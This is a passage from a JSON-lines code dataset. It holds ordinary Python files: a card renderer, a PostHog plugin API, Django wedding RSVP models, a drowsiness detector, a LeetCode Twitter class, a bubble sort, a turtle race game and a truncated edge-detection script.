'.join(hierarchyList)))\n # ↓\n svg = svg.replace('>left<', render_attribute(card, 'left'))\n svg = svg.replace('>right<', render_attribute(card, 'right'))\n svg = svg.replace('>top<', render_attribute(card, 'top'))\n svg = svg.replace('>bottom<', render_attribute(card, 'bottom'))\n \n svg = svg.replace('xlink:href=\"image--left.png\"', f'xlink:href=\"{image_name(card[\"leftClass\"])}.png\"')\n svg = svg.replace('xlink:href=\"image--right.png\"', f'xlink:href=\"{image_name(card[\"rightClass\"])}.png\"')\n svg = svg.replace('xlink:href=\"image--top.png\"', f'xlink:href=\"{image_name(card[\"topClass\"])}.png\"')\n svg = svg.replace('xlink:href=\"image--bottom.png\"', f'xlink:href=\"{image_name(card[\"bottomClass\"])}.png\"')\n svg = svg.replace('xlink:href=\"image--center.png\"', f'xlink:href=\"{image_name(card[\"class\"])}.png\"')\n\n with open('individual/custom.svg', 'w') as customFile:\n customFile.write(svg)\n inpath = os.path.abspath('individual/custom.svg')\n outpath = os.path.abspath(f\"individual/card--{obj['object']}.png\")\n os.system(f\"inkscape --export-type=png --export-filename={outpath} {inpath}\")\n\n ","repo_name":"rodrigorgs/dominoops","sub_path":"render-cards.py","file_name":"render-cards.py","file_ext":"py","file_size_in_byte":3366,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"32893302461","text":"import json\nimport re\nfrom typing import Any, Dict, Optional, Set, cast\n\nimport requests\nfrom dateutil.relativedelta import relativedelta\nfrom django.conf import settings\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.core.files.uploadedfile import UploadedFile\nfrom django.db.models import Q\nfrom django.utils.timezone import now\nfrom rest_framework import request, serializers, status, viewsets\nfrom rest_framework.decorators import action\nfrom rest_framework.exceptions import NotFound, PermissionDenied, ValidationError\nfrom rest_framework.permissions import SAFE_METHODS, BasePermission, IsAuthenticated\nfrom rest_framework.response import Response\n\nfrom posthog.api.routing import StructuredViewSetMixin\nfrom posthog.celery import app as celery_app\nfrom posthog.models import Plugin, PluginAttachment, PluginConfig, Team\nfrom posthog.models.organization import Organization\nfrom posthog.models.plugin import update_validated_data_from_url\nfrom posthog.permissions import (\n OrganizationMemberPermissions,\n ProjectMembershipNecessaryPermissions,\n TeamMemberAccessPermission,\n)\nfrom posthog.plugins import can_configure_plugins, can_install_plugins, parse_url\nfrom posthog.plugins.access import can_globally_manage_plugins\n\n# Keep this in sync with: frontend/scenes/plugins/utils.ts\nSECRET_FIELD_VALUE = \"**************** POSTHOG SECRET FIELD ****************\"\n\n\ndef _update_plugin_attachments(request: request.Request, plugin_config: PluginConfig):\n for key, file in request.FILES.items():\n match = re.match(r\"^add_attachment\\[([^]]+)\\]$\", key)\n if match:\n _update_plugin_attachment(plugin_config, match.group(1), file)\n for key, file in request.POST.items():\n match = re.match(r\"^remove_attachment\\[([^]]+)\\]$\", key)\n if match:\n _update_plugin_attachment(plugin_config, match.group(1), None)\n\n\ndef _update_plugin_attachment(plugin_config: PluginConfig, key: str, file: Optional[UploadedFile]):\n try:\n plugin_attachment = PluginAttachment.objects.get(team=plugin_config.team, plugin_config=plugin_config, key=key)\n if file:\n plugin_attachment.content_type = file.content_type\n plugin_attachment.file_name = file.name\n plugin_attachment.file_size = file.size\n plugin_attachment.contents = file.file.read()\n plugin_attachment.save()\n else:\n plugin_attachment.delete()\n except ObjectDoesNotExist:\n if file:\n PluginAttachment.objects.create(\n team=plugin_config.team,\n plugin_config=plugin_config,\n key=key,\n content_type=str(file.content_type),\n file_name=file.name,\n file_size=file.size,\n contents=file.file.read(),\n )\n\n\n# sending files via a multipart form puts the config JSON in a un-serialized format\ndef _fix_formdata_config_json(request: request.Request, validated_data: dict):\n if not validated_data.get(\"config\", None) and cast(dict, request.POST).get(\"config\", None):\n validated_data[\"config\"] = json.loads(request.POST[\"config\"])\n\n\nclass PluginsAccessLevelPermission(BasePermission):\n message = \"Your organization's plugin access level is insufficient.\"\n\n def has_permission(self, request, view) -> bool:\n min_level = (\n Organization.PluginsAccessLevel.CONFIG\n if request.method in SAFE_METHODS\n else Organization.PluginsAccessLevel.INSTALL\n )\n return view.organization.plugins_access_level >= min_level\n\n\nclass PluginOwnershipPermission(BasePermission):\n message = \"This plugin installation is managed by another organization.\"\n\n def has_object_permission(self, request, view, object) -> bool:\n return view.organization == object.organization\n\n\nclass PluginSerializer(serializers.ModelSerializer):\n url = serializers.SerializerMethodField()\n organization_name = serializers.SerializerMethodField()\n\n class Meta:\n model = Plugin\n fields = [\n \"id\",\n \"plugin_type\",\n \"name\",\n \"description\",\n \"url\",\n \"config_schema\",\n \"tag\",\n \"source\",\n \"latest_tag\",\n \"is_global\",\n \"organization_id\",\n \"organization_name\",\n \"capabilities\",\n \"metrics\",\n \"public_jobs\",\n ]\n read_only_fields = [\"id\", \"latest_tag\"]\n\n def get_url(self, plugin: Plugin) -> Optional[str]:\n # remove ?private_token=... from url\n return str(plugin.url).split(\"?\")[0] if plugin.url else None\n\n def get_latest_tag(self, plugin: Plugin) -> Optional[str]:\n if not plugin.latest_tag or not plugin.latest_tag_checked_at:\n return None\n\n if plugin.latest_tag != plugin.tag or plugin.latest_tag_checked_at > now() - relativedelta(seconds=60 * 30):\n return str(plugin.latest_tag)\n\n return None\n\n def get_organization_name(self, plugin: Plugin) -> str:\n return plugin.organization.name\n\n def create(self, validated_data: Dict, *args: Any, **kwargs: Any) -> Plugin:\n validated_data[\"url\"] = self.initial_data.get(\"url\", None)\n validated_data[\"organization_id\"] = self.context[\"organization_id\"]\n validated_data[\"updated_at\"] = now()\n if validated_data.get(\"is_global\") and not can_globally_manage_plugins(validated_data[\"organization_id\"]):\n raise PermissionDenied(\"This organization can't manage global plugins!\")\n plugin = Plugin.objects.install(**validated_data)\n return plugin\n\n def update(self, plugin: Plugin, validated_data: Dict, *args: Any, **kwargs: Any) -> Plugin: # type: ignore\n context_organization = self.context.get(\"organization\") or Organization.objects.get(\n id=self.context[\"organization_id\"]\n )\n if (\n \"is_global\" in validated_data\n and context_organization.plugins_access_level < Organization.PluginsAccessLevel.ROOT\n ):\n raise PermissionDenied(\"This organization can't manage global plugins!\")\n validated_data[\"updated_at\"] = now()\n return super().update(plugin, validated_data)\n\n\nclass PluginViewSet(StructuredViewSetMixin, viewsets.ModelViewSet):\n queryset = Plugin.objects.all()\n serializer_class = PluginSerializer\n permission_classes = [\n IsAuthenticated,\n ProjectMembershipNecessaryPermissions,\n OrganizationMemberPermissions,\n PluginsAccessLevelPermission,\n PluginOwnershipPermission,\n ]\n\n def get_queryset(self):\n queryset = super().get_queryset()\n if self.action == \"get\" or self.action == \"list\":\n if can_install_plugins(self.organization) or can_configure_plugins(self.organization):\n return queryset\n else:\n if can_install_plugins(self.organization):\n return queryset\n return queryset.none()\n\n def filter_queryset_by_parents_lookups(self, queryset):\n try:\n return queryset.filter(Q(**self.parents_query_dict) | Q(is_global=True))\n except ValueError:\n raise NotFound()\n\n @action(methods=[\"GET\"], detail=False)\n def repository(self, request: request.Request, **kwargs):\n url = \"https://raw.githubusercontent.com/PostHog/integrations-repository/main/plugins.json\"\n plugins = requests.get(url)\n return Response(json.loads(plugins.text))\n\n @action(methods=[\"GET\"], detail=True)\n def check_for_updates(self, request: request.Request, **kwargs):\n if not can_install_plugins(self.organization):\n raise PermissionDenied(\"Plugin installation is not available for the current organization!\")\n\n plugin = self.get_object()\n latest_url = parse_url(plugin.url, get_latest_if_none=True)\n\n # use update to not trigger the post_save signal and avoid telling the plugin server to reload vms\n Plugin.objects.filter(id=plugin.id).update(\n latest_tag=latest_url.get(\"tag\", latest_url.get(\"version\", None)), latest_tag_checked_at=now()\n )\n\n return Response({\"plugin\": PluginSerializer(plugin).data})\n\n @action(methods=[\"POST\"], detail=True)\n def upgrade(self, request: request.Request, **kwargs):\n plugin: Plugin = self.get_object()\n organization = self.organization\n if plugin.organization != organization:\n raise NotFound()\n if not can_install_plugins(self.organization, plugin.organization_id):\n raise PermissionDenied(\"Plugin upgrading is not available for the current organization!\")\n serializer = PluginSerializer(plugin, context={\"organization\": organization})\n validated_data = {}\n if plugin.plugin_type != Plugin.PluginType.SOURCE:\n validated_data = update_validated_data_from_url({}, plugin.url)\n serializer.update(plugin, validated_data)\n return Response(serializer.data)\n\n def destroy(self, request: request.Request, *args, **kwargs) -> Response:\n instance = self.get_object()\n if instance.is_global:\n raise ValidationError(\"This plugin is marked as global! Make it local before uninstallation\")\n self.perform_destroy(instance)\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass PluginConfigSerializer(serializers.ModelSerializer):\n config = serializers.SerializerMethodField()\n\n class Meta:\n model = PluginConfig\n fields = [\"id\", \"plugin\", \"enabled\", \"order\", \"config\", \"error\", \"team_id\"]\n read_only_fields = [\"id\", \"team_id\"]\n\n def get_config(self, plugin_config: PluginConfig):\n attachments = PluginAttachment.objects.filter(plugin_config=plugin_config).only(\n \"id\", \"file_size\", \"file_name\", \"content_type\"\n )\n\n new_plugin_config = plugin_config.config.copy()\n\n secret_fields = _get_secret_fields_for_plugin(plugin_config.plugin)\n\n # do not send the real value to the client\n for key in secret_fields:\n if new_plugin_config.get(key):\n new_plugin_config[key] = SECRET_FIELD_VALUE\n\n for attachment in attachments:\n if attachment.key not in secret_fields:\n new_plugin_config[attachment.key] = {\n \"uid\": attachment.id,\n \"saved\": True,\n \"size\": attachment.file_size,\n \"name\": attachment.file_name,\n \"type\": attachment.content_type,\n }\n else:\n new_plugin_config[attachment.key] = {\n \"uid\": -1,\n \"saved\": True,\n \"size\": -1,\n \"name\": SECRET_FIELD_VALUE,\n \"type\": \"application/octet-stream\",\n }\n\n return new_plugin_config\n\n def create(self, validated_data: Dict, *args: Any, **kwargs: Any) -> PluginConfig:\n if not can_configure_plugins(Team.objects.get(id=self.context[\"team_id\"]).organization_id):\n raise ValidationError(\"Plugin configuration is not available for the current organization!\")\n validated_data[\"team\"] = Team.objects.get(id=self.context[\"team_id\"])\n _fix_formdata_config_json(self.context[\"request\"], validated_data)\n existing_config = PluginConfig.objects.filter(team=validated_data[\"team\"], plugin_id=validated_data[\"plugin\"])\n if existing_config.exists():\n return self.update(existing_config.first(), validated_data) # type: ignore\n plugin_config = super().create(validated_data)\n _update_plugin_attachments(self.context[\"request\"], plugin_config)\n return plugin_config\n\n def update(self, plugin_config: PluginConfig, validated_data: Dict, *args: Any, **kwargs: Any) -> PluginConfig: # type: ignore\n _fix_formdata_config_json(self.context[\"request\"], validated_data)\n validated_data.pop(\"plugin\", None)\n\n # Keep old value for secret fields if no new value in the request\n secret_fields = _get_secret_fields_for_plugin(plugin_config.plugin)\n\n if \"config\" in validated_data:\n for key in secret_fields:\n if validated_data[\"config\"].get(key) is None: # explicitly checking None to allow \"\"\n validated_data[\"config\"][key] = plugin_config.config.get(key)\n\n response = super().update(plugin_config, validated_data)\n _update_plugin_attachments(self.context[\"request\"], plugin_config)\n return response\n\n\nclass PluginConfigViewSet(StructuredViewSetMixin, viewsets.ModelViewSet):\n queryset = PluginConfig.objects.all()\n serializer_class = PluginConfigSerializer\n permission_classes = [\n IsAuthenticated,\n ProjectMembershipNecessaryPermissions,\n OrganizationMemberPermissions,\n TeamMemberAccessPermission,\n ]\n\n def get_queryset(self):\n if not can_configure_plugins(self.team.organization_id):\n return self.queryset.none()\n return super().get_queryset().order_by(\"order\", \"plugin_id\")\n\n # we don't really use this endpoint, but have something anyway to prevent team leakage\n def destroy(self, request: request.Request, pk=None, **kwargs) -> Response: # type: ignore\n if not can_configure_plugins(self.team.organization_id):\n return Response(status=404)\n plugin_config = PluginConfig.objects.get(team_id=self.team_id, pk=pk)\n plugin_config.enabled = False\n plugin_config.save()\n return Response(status=204)\n\n @action(methods=[\"PATCH\"], detail=False)\n def rearrange(self, request: request.Request, **kwargs):\n if not can_configure_plugins(self.team.organization_id):\n raise ValidationError(\"Plugin configuration is not available for the current organization!\")\n\n orders = request.data.get(\"orders\", {})\n\n plugin_configs = PluginConfig.objects.filter(team_id=self.team.pk, enabled=True)\n plugin_configs_dict = {p.plugin_id: p for p in plugin_configs}\n for plugin_id, order in orders.items():\n plugin_config = plugin_configs_dict.get(int(plugin_id), None)\n if plugin_config and plugin_config.order != order:\n plugin_config.order = order\n plugin_config.save()\n\n return Response(PluginConfigSerializer(plugin_configs, many=True).data)\n\n @action(methods=[\"POST\"], detail=True)\n def job(self, request: request.Request, **kwargs):\n if not can_configure_plugins(self.team.organization_id):\n raise ValidationError(\"Plugin configuration is not available for the current organization!\")\n\n plugin_config_id = self.get_object().id\n job = request.data.get(\"job\", {})\n\n if \"type\" not in job:\n raise ValidationError(\"The job type must be specified!\")\n\n # the plugin server uses \"type\" for job names but \"name\" makes for a more friendly API\n job_type = job.get(\"type\")\n job_payload = job.get(\"payload\", {})\n job_op = job.get(\"operation\", \"start\")\n\n celery_app.send_task(\n name=\"posthog.tasks.plugins.plugin_job\",\n queue=settings.PLUGINS_CELERY_QUEUE,\n args=[self.team.pk, plugin_config_id, job_type, job_op, job_payload],\n )\n\n return Response(status=200)\n\n\ndef _get_secret_fields_for_plugin(plugin: Plugin) -> Set[str]:\n # A set of keys for config fields that have secret = true\n secret_fields = set([field[\"key\"] for field in plugin.config_schema if \"secret\" in field and field[\"secret\"]])\n return secret_fields\n\n\nclass LegacyPluginConfigViewSet(PluginConfigViewSet):\n legacy_team_compatibility = True\n","repo_name":"lokeshpahal/posthog1","sub_path":"posthog/api/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":15778,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"10946926696","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models\nfrom django.contrib.auth.models import User\nfrom django.utils import timezone as utils_timezone\n\nclass Profile(models.Model):\n \"\"\"\n User profile information\n \"\"\"\n\n # Link back to the user\n user = models.OneToOneField(\n User,\n on_delete=models.CASCADE,\n related_name='profile',\n help_text='User for whom the profile is associated')\n\n # Address for the user. This is so that they can change it if they want\n address = models.CharField(\n max_length=256,\n help_text=\"user's address\")\n\n # When the profile was created and/or updated\n created_at = models.DateTimeField(\n auto_now_add=True,\n help_text=\"Time at which the profile was created\")\n updated_at = models.DateTimeField(\n auto_now=True,\n help_text=\"Time at which the profile was updated\")\n\n def __str__(self):\n \"\"\"\n Function for converting the model into a string. This will allow us\n to have the name show up in the django admin UI\n \"\"\"\n return self.user.__str__()\n\n\nclass RSVP(models.Model):\n \"\"\"\n RSVP model. One RSVP is noted by the invite address, and will have 1+\n RSVPPerson\n \"\"\"\n\n # Link back to the user. We can also use this to determine if the RSVP\n # is claimed, since if it is None then we know it's not claimed\n profile = models.OneToOneField(\n Profile,\n null=True,\n on_delete=models.SET_NULL,\n related_name='rsvp',\n help_text='Profile with which the RSVP is associated')\n\n # Name for whom the RSVP is intended. This is more for internal record-\n # keeping purposes than anything else\n last_names = models.CharField(\n max_length=256,\n help_text=\"Comma-separated last names of the people the RSVP is intended for\")\n\n # Address where the invitation was sent. This is used to authenticate the\n # user's attmept to claim the RSVP\n invite_address = models.CharField(\n max_length=256,\n help_text=\"Address invitation was sent to\")\n\n # When the RSVP was created and/or updated\n created_at = models.DateTimeField(\n auto_now_add=True,\n help_text=\"Time at which the profile was created\")\n updated_at = models.DateTimeField(\n auto_now=True,\n help_text=\"Time at which the profile was updated\")\n\n # RSVP Comment\n comment = models.TextField(\n blank=True,\n help_text=\"RSVP Comment\")\n\n def __str__(self):\n \"\"\"\n Function for converting the model into a string. This will allow us\n to have the name show up in the django admin UI\n \"\"\"\n return self.last_names\n\nclass RSVPPerson(models.Model):\n \"\"\"\n RSVP Person. The actual RSVP Data\n \"\"\"\n\n # Link back to the RSVP\n rsvp = models.ForeignKey(\n 'RSVP',\n related_name='rsvp_person',\n on_delete=models.CASCADE,\n help_text='Link back to overall RSVP')\n\n # Person's Name\n name = models.CharField(\n max_length=128,\n help_text=\"RSVP Person's name\")\n\n # Person's event attendance status\n is_attending_rehearsal = models.NullBooleanField(\n default=None,\n help_text=\"RSVP Status for Rehearsal Dinner\")\n is_attending_wedding = models.NullBooleanField(\n default=None,\n help_text=\"RSVP Status for Sunday Wedding Ceremony & Reception\")\n\n # Person's Child status.\n is_child = models.NullBooleanField(\n default=None,\n help_text=\"TRUE if person is a child\")\n\n # Person's dietary restrictions\n dietary_kosher = models.BooleanField(\n default=False,\n help_text='Kosher Dietary Restriction')\n dietary_vegetarian = models.BooleanField(\n default=False,\n help_text='Vegetarian Dietary Restriction')\n dietary_vegan = models.BooleanField(\n default=False,\n help_text='Vegan Dietary Restriction')\n dietary_gluten_free = models.BooleanField(\n default=False,\n help_text='Gluten-Free Dietary Restriction')\n dietary_other = models.CharField(\n blank=True,\n max_length=256,\n help_text='Other Dietary Restrictions')\n\n # Person's special requests field\n special_requests = models.CharField(\n blank=True,\n max_length=256,\n help_text='Any other special requests for the person')\n\n # Table placement for the person\n table = models.IntegerField(\n default=0,\n help_text=\"Seating assignment for the guest\")\n\n # When the profile was created and/or updated\n created_at = models.DateTimeField(\n auto_now_add=True,\n help_text=\"Time at which the profile was created\")\n updated_at = models.DateTimeField(\n auto_now=True,\n help_text=\"Time at which the profile was updated\")\n\n def __str__(self):\n \"\"\"\n Function for converting the model into a string. This will allow us\n to have the name show up in the django admin UI\n \"\"\"\n return self.name\n","repo_name":"dpipemazo/django-wedsite","sub_path":"wedsite/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5057,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"39506777835","text":"import pickle\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1 import ImageGrid\nimport sys\n\n#provide pickle file as first argument\n#provide npz file as second argument\n\n# load eval and test data\n#eval_data = np.load('imgs_eval.npy')\neval_labels = np.load('../NetworkCodeData/imgs_mask_eval.npy')\n#test_data = np.load('imgs_test.npy')\ntest_labels = np.load('../NetworkCodeData/imgs_mask_test.npy')\n\neval_out_filename = sys.argv[1]\ntest_out_filename = sys.argv[2]\n\npickle_eval = pickle.load(open('..\\\\Newresults\\\\' + eval_out_filename,'rb'))\npickle_test = pickle.load(open('..\\\\Newresults\\\\' + test_out_filename,'rb'))\n\nfig = plt.figure(1)\ngrid = ImageGrid(fig, 111, nrows_ncols=(2,5),axes_pad = 0.1)\nfor i in range(5):\n grid[i].imshow(eval_labels[i,:,:],cmap='gray')\n grid[i].axis('off')\n grid[i].set_xticks([])\n grid[i].set_yticks([])\n\nfor i in range(5,10):\n grid[i].imshow(pickle_eval[i-5,:,:],cmap='gray')\n grid[i].axis('off')\n grid[i].set_xticks([])\n grid[i].set_yticks([])\n\nfig2 = plt.figure(2)\ngrid = ImageGrid(fig2, 111, nrows_ncols=(2,5),axes_pad = 0.1)\nfor i in range(5):\n grid[i].imshow(test_labels[i,:,:],cmap='gray')\n grid[i].axis('off')\n grid[i].set_xticks([])\n grid[i].set_yticks([])\n\nfor i in range(5,10):\n grid[i].imshow(pickle_test[i-5,:,:],cmap='gray')\n grid[i].axis('off')\n grid[i].set_xticks([])\n grid[i].set_yticks([])\n\nplt.show()","repo_name":"bfactor/deep-learning-project","sub_path":"SupplementalCode/visualizeSegmentation.py","file_name":"visualizeSegmentation.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74658472485","text":"from imutils.video import VideoStream\r\nimport face_recognition\r\nimport imutils\r\nimport pickle\r\nimport time\r\nimport cv2\r\nimport pandas as pd\r\nimport numpy as np\r\nimport dlib\r\nfrom math import hypot\r\nimport tensorflow as tf\r\nimport keras\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Conv2D, MaxPooling2D, AveragePooling2D\r\nfrom keras.preprocessing.image import img_to_array\r\nfrom keras.layers import Dense, Activation, Dropout, Flatten\r\nfrom keras.preprocessing import image\r\nfrom keras.preprocessing.image import ImageDataGenerator\r\nimport matplotlib.pyplot as plt\r\nvs = VideoStream(src=0).start()\r\nclass_labels = ['Angry','Digust','Fear','Happy','Sad', 'Surprise','Neutral']\r\nmodel=tf.keras.models.load_model('model_filter.h5')\r\ndetector = dlib.get_frontal_face_detector()\r\npredictor = dlib.shape_predictor(\"shape_predictor_68_face_landmarks.dat\")\r\ndef midpoint(p1 ,p2):\r\n\treturn int((p1.x + p2.x)/2), int((p1.y + p2.y)/2)\r\ndef get_blinking_ratio(eye_points, facial_landmarks):\r\n\tleft_point = (facial_landmarks.part(eye_points[0]).x, facial_landmarks.part(eye_points[0]).y)\r\n\tright_point = (facial_landmarks.part(eye_points[3]).x, facial_landmarks.part(eye_points[3]).y)\r\n\tcenter_top = midpoint(facial_landmarks.part(eye_points[1]), facial_landmarks.part(eye_points[2]))\r\n\tcenter_bottom = midpoint(facial_landmarks.part(eye_points[5]), facial_landmarks.part(eye_points[4]))\r\n\thor_line = cv2.line(frame, left_point, right_point, (0,0, 255), 2)\r\n\tver_line = cv2.line(frame, center_top, center_bottom, (0, 0, 255), 2)\r\n\thor_line_lenght = hypot((left_point[0] - right_point[0]), (left_point[1] - right_point[1]))\r\n\tver_line_lenght = hypot((center_top[0] - center_bottom[0]), (center_top[1] - center_bottom[1]))\r\n\tratio = hor_line_lenght / ver_line_lenght\r\n\treturn ratio\r\nwhile True:\r\n\tframe = vs.read()\r\n\trgb = cv2.cvtColor(frame,cv2.COLOR_BGR2RGB)\r\n\tgray = cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)\r\n\tboxes = face_recognition.face_locations(gray,model=\"hog\")\r\n\tr = frame.shape[1] / float(rgb.shape[1])\r\n\tfaces = detector(gray)\r\n\tfor face in faces:\r\n\t\tlandmarks = predictor(gray, face)\r\n\t\tleft_eye_ratio = get_blinking_ratio([36, 37, 38, 39, 40, 41], landmarks)\r\n\t\tright_eye_ratio = get_blinking_ratio([42, 43, 44, 45, 46, 47], landmarks)\r\n\t\tblinking_ratio = (left_eye_ratio + right_eye_ratio) / 2\r\n\t\tfont = cv2.FONT_HERSHEY_DUPLEX\r\n\t\tif blinking_ratio > 5.7:\r\n\t\t\tcv2.putText(frame, \"DROWSINESS DETECTED\", (10, 50), font, 1, (0, 0, 255))\r\n\tcv2.imshow(\"Accident detector\", frame)\r\n\tfor ((top, right, bottom, left)) in boxes:\r\n\t\tcrop_img = rgb[top:bottom, left:right]\r\n\t\tcrop_img = cv2.cvtColor(crop_img, cv2.COLOR_BGR2GRAY)\r\n\t\troi_gray = cv2.resize(crop_img,(48,48),interpolation=cv2.INTER_AREA)\r\n\t\tif np.sum([roi_gray])!=0:\r\n\t\t\troi = roi_gray.astype('float')/255.0\r\n\t\t\troi = img_to_array(roi)\r\n\t\t\troi = np.expand_dims(roi,axis=0)\r\n\t\tpred = model.predict(roi)[0]\r\n\t\ttop = int(top * r)\r\n\t\tright = int(right * r)\r\n\t\tbottom = int(bottom * r)\r\n\t\tleft = int(left * r)\r\n\t\tcv2.rectangle(frame, (left, top), (right, bottom),(0, 255, 0), 2)\r\n\t\ty = top - 15 if top - 15 > 15 else top + 15\r\n\t\tlabel=class_labels[pred.argmax()]\r\n\t\tlabel_position = (top,left)\r\n\t\tcv2.putText(frame,label,label_position,cv2.FONT_HERSHEY_SIMPLEX,2,(0,255,0),3)\r\n\t\tcv2.imshow(\"Frame\", frame)\r\n\t\tcv2.imshow(\"Frame2\", crop_img)\r\n\t\tprint(pred)\r\n\tif (cv2.waitKey(1) == ord('q')):\r\n\t\tbreak\r\ncv2.destroyAllWindows()\r\nvs.stop()","repo_name":"codebugged/MRV-Brew","sub_path":"MRV_POC.py","file_name":"MRV_POC.py","file_ext":"py","file_size_in_byte":3397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9799369919","text":"class Twitter(object):\n\n def __init__(self):\n \"\"\"\n Initialize your data structure here.\n \"\"\"\n self.user_tweets = {}\n self.follows = {}\n self.tweets = {}\n self.tweet_count = 0\n\n def postTweet(self, userId, tweetId):\n \"\"\"\n Compose a new tweet.\n :type userId: int\n :type tweetId: int\n :rtype: void\n \"\"\"\n if userId in self.user_tweets:\n self.user_tweets[userId].append(tweetId)\n else:\n self.user_tweets[userId] = [tweetId]\n self.tweet_count += 1\n self.tweets[tweetId] = self.tweet_count\n\n def getNewsFeed(self, userId):\n \"\"\"\n Retrieve the 10 most recent tweet ids in the user's news feed. Each item in the news feed must be posted by users who the user followed or by the user herself. Tweets must be ordered from most recent to least recent.\n :type userId: int\n :rtype: List[int]\n \"\"\"\n tweets = self.user_tweets.get(userId, [])\n for follows in self.follows.get(userId, []):\n tweets = tweets + self.user_tweets.get(follows, [])\n tweets = list(set(tweets))\n tweets.sort(key=lambda x: self.tweets[x], reverse=True)\n return tweets[:10]\n\n def follow(self, followerId, followeeId):\n \"\"\"\n Follower follows a followee. If the operation is invalid, it should be a no-op.\n :type followerId: int\n :type followeeId: int\n :rtype: void\n \"\"\"\n if followerId in self.follows:\n self.follows[followerId].add(followeeId)\n else:\n self.follows[followerId] = set([followeeId])\n\n def unfollow(self, followerId, followeeId):\n \"\"\"\n Follower unfollows a followee. If the operation is invalid, it should be a no-op.\n :type followerId: int\n :type followeeId: int\n :rtype: void\n \"\"\"\n user_follows = self.follows.get(followerId, set())\n user_follows.discard(followeeId)\n","repo_name":"Adriel-M/leetcode","sub_path":"Algorithms/355 - Design Twitter/twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":2007,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"42628891192","text":"# Clase 15: **Ordenamiento de burbuja.**\nimport random\n\n\ndef ordenamiento_de_burbuja(lista):\n n = len(lista) # Almacena el tamaño de la lista.\n\n for i in range(n): # Big-O => O(n**2)\n print(lista)\n # Se itera hasta una posición menos que la anterior.\n for j in range(0, n - i - 1):\n if lista[j] > lista[j + 1]:\n lista[j], lista[j + 1] = lista[j + 1], lista[j] # Swapping\n\n return lista\n\n\nif __name__ == '__main__':\n\n tamano_lista = int(input('De que tamaño quieres la lista?: '))\n\n lista = [random.randint(0, 100) for i in range(tamano_lista)]\n print(lista)\n\n lista_ordenada = ordenamiento_de_burbuja(lista)\n print(lista_ordenada)\n","repo_name":"fabriziofs/platzi-courses","sub_path":"OOP-y-algoritmos/c15-Ordenamiento_de_burbuja/bubble_sort.py","file_name":"bubble_sort.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"72771337444","text":"from turtle import Turtle, Screen\nimport random\n\nis_race_on = False # Activador de la carrera\nscreen = Screen() # Ventana\nscreen.title(\"Carrera de Tortugas\") # Titulo\nscreen.setup(width=500,height=400) # Tamaño de la ventana\n# Ventana emergente\nuser_bet = screen.textinput(title=\"Hagan sus apuestas!\",prompt=\"¿Cual tortuga ganara la carrera?\\n\\n\"\n \"Ingresa el color: red, orange, yellow, green, blue, purple\")\n#print(user_bet)\ncolors = [\"red\",\"orange\",\"yellow\",\"green\",\"blue\",\"purple\"] # Colores de las tortugas\ny_positions = [-70,-40,-10,20,50,80] # Posiciones iniciales de la tortugas\nall_turtles = [] # Lista nueva donde se alojaran las tortugas\n\n# Ingresar tortugas a la lista\nfor index in range(6): \n new_turtle = Turtle(shape=\"turtle\") # Forma\n new_turtle.color(colors[index]) # Color\n new_turtle.penup() # No dibujar linea\n new_turtle.goto(x=-230,y=y_positions[index]) # Colocar tortugas\n all_turtles.append(new_turtle) # Ingresa objeto a la lista\n\nif user_bet:\n is_race_on = True # Activa la carrera\n\nwhile is_race_on: # Mientras la carrera este activada\n # Hacer mover a las tortugas\n for turtle in all_turtles:\n if turtle.xcor()>230: # El primero que llegue a esa coordenada, termina la carrera\n is_race_on=False # Terminar carrera\n winning_color = turtle.pencolor() # Obtener el color de la tortuga ganadora\n if winning_color == user_bet: # Comparacion del color\n print(f'Has ganado! La tortuga \"{winning_color}\" es la ganadora!')\n else:\n print(f'Has perdido! La tortuga \"{winning_color}\" es la ganadora!')\n rand_distance = random.randint(0,10) # Tamaño de movimiento de la tortuga\n turtle.forward(rand_distance) # Movimiento de la tortuga\n\n# Salir de la pantalla con un clic\nscreen.exitonclick()","repo_name":"jguillermo19/Python_Codigos","sub_path":"TurtleRace.py","file_name":"TurtleRace.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74714097124","text":"#!/usr/bin/env python3\n\"\"\"\nUsage:\n edge_detection_batch.py TARGET START STOP STEP [--blur=KSIZES...] [--contrast=CONTRAST...] [--aperture=σ]\n\nOptions:\n --blur=KSIZES... Kernel sizes for blurring. No blur if set to 0.\n Multiple values to test different settings. [default: 0]\n --contrast=CONTRAST... Contrast multiplier. None applied if set to 1.\n Multiple values to test different settings. [default: 1]\n --aperture=σ σ (apertureSize) to use [default: 3]\n\"\"\"\nimport warnings\nfrom dataclasses import dataclass\nfrom pathlib import Path\nfrom typing import Iterable, Union\n\nimport cv2\nimport matplotlib.pyplot as plt\nfrom deco import concurrent, synchronized\nfrom docopt import docopt\n\nfrom detect import brightness_of, contrast_of, detect_edges, grayscale_of\n\nwarnings.filterwarnings(\"ignore\")\n\n# _, low, high, = sys.argv\n\n\n@dataclass\nclass Progress:\n total: int = 1\n done: int = 0\n\n\ndef display_edges(\n fig_idx: int,\n title: str,\n image,\n low: int,\n high: int,\n σ: int = 3,\n blur: int = 0,\n):\n _, edges = detect_edges(image, low, high, σ=σ, blur=blur)\n 